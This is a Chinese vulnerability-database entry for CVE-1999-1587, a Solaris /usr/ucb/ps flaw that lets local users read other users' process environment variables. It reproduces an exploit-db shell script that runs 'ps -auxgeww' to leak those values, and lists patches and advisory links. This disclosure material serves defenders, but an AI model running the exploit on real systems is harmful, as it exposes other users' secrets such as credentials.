Sun Microsystems Solaris /usr/ucb/ps变量值任意查看漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110880 漏洞类型 未知
发布时间 2006-08-22 更新时间 2006-08-22
CVE编号 CVE-1999-1587 CNNVD-ID CNNVD-199912-118
漏洞平台 Solaris CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/2242
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199912-118
|漏洞详情
SunMicrosystemsSolaris8和9以及某些之前发布的版本中的/usr/ucb/ps存在漏洞。本地用户可以通过-e选项查看环境变量和任意过程的值。
|漏洞EXP
#!/bin/sh

#
# $Id: raptor_ucbps,v 1.1 2006/07/26 12:15:42 raptor Exp $
#
# raptor_ucbps - information leak with Solaris /usr/ucb/ps
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A security vulnerability in the "/usr/ucb/ps" (see ps(1B)) command may allow 
# unprivileged local users the ability to see environment variables and their 
# values for processes which belong to other users (Sun Alert ID: 102215).
#
# Absolutely nothing fancy, but it may turn out to be useful;)
#
# Usage:
# $ chmod +x raptor_ucbps
# $ ./raptor_ucbps
# [...]
#
# Vulnerable platforms (SPARC):
# Solaris 8 without patch 109023-05 [tested]
# Solaris 9 without patch 120240-01 [tested]
#
# Vulnerable platforms (x86):
# Solaris 8 without patch 109024-05 [untested]
# Solaris 9 without patch 120239-01 [untested]
#

echo "raptor_ucbps - information leak with Solaris /usr/ucb/ps"
echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

/usr/ucb/ps -auxgeww

# milw0rm.com [2006-08-22]
|参考资料

来源:XF
名称:solaris-ps-information-disclosure(25460)
链接:http://xforce.iss.net/xforce/xfdb/25460
来源:VUPEN
名称:ADV-2006-1123
链接:http://www.frsirt.com/english/advisories/2006/1123
来源:SUNALERT
名称:102215
链接:http://sunsolve.sun.com/search/document.do?assetkey=1-26-102215-1
来源:SECTRACK
名称:1015833
链接:http://securitytracker.com/id?1015833
来源:SECUNIA
名称:19426
链接:http://secunia.com/advisories/19426
来源:www.sunmanagers.org
链接:http://www.sunmanagers.org/archives/1996/1383.html
来源:BID
名称:19662
链接:http://www.securityfocus.com/bid/19662
来源:OSVDB
名称:24200
链接:http://www.osvdb.org/24200
来源:USGovernmentResource:oval:org.mitre.oval:def:1470
名称:oval:org.mitre.oval:def:1470
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:1470